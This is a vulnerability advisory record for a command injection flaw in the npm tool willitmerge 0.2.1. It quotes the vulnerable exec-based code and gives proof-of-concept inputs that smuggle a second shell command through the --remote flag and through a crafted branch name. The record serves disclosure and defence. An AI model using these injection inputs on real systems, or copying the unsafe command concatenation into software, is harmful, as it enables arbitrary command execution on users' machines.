{"id":"CVE-2025-66219","aliases":[],"url":"https://o3.security/vulnerability/CVE-2025-66219","summary":"willitmerge has a Command Injection vulnerability","details":"willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version `willitmerge@0.2.1`.\n\nResources: \n * Project's GitHub source code: https://github.com/shama/willitmerge/\n * Project's npm package: https://www.npmjs.com/package/willitmerge\n\n## Background on exploitation\n\nReporting a Command Injection vulnerability in `willitmerge` npm package.\n\nA security vulnerability manifests in this package due to the use of insecure child process execution API (`exec`) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.\n\n## Exploit \n\n### POC 1\n\n1. Install `willitmerge`\n2. Run it with the following command\n\n```sh\nwillitmerge --verbose --remote \"https://github.com/lirantal/npq.git; touch /tmp/hel\"\n```\n\n3. Confirm the file `/tmp/hel` is created on disk\n\n### GitHub-sourced attack vector\n\n[Lines 189-197](https://github.com/shama/willitmerge/blob/2fe91d05191fb05ac6da685828d109a3a5885028/lib/willitmerge.js#L189-L197) in `lib/willitmerge.js`\npass user input controlled by repository collaborators into the git command:\n\n```js\n  var cmds = [\n    'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,\n    'git remote add ' + branch + ' ' + gitUrl,\n    'git pull ' + branch + ' ' + iss.head.ref,\n    'git reset --merge HEAD',\n    'git checkout ' + origBranch,\n    'git branch -D ' + branch,\n    'git remote rm ' + branch\n  ];\n```\n\nUsers creating malicious branch names such as `;{echo,hello,world}>/tmp/c`\n\nThis is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)\n\n# Author\n\nLiran Tal","published":"2025-11-26T22:09:27Z","modified":"2025-12-01T17:03:45.099642Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"willitmerge","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/shama/willitmerge/security/advisories/GHSA-j9wj-m24m-7jj6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66219"},{"type":"PACKAGE","url":"https://github.com/shama/willitmerge"},{"type":"WEB","url":"https://github.com/shama/willitmerge/blob/2fe91d05191fb05ac6da685828d109a3a5885028/lib/willitmerge.js#L189-L197"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-12-01T17:03:45.099642Z"}}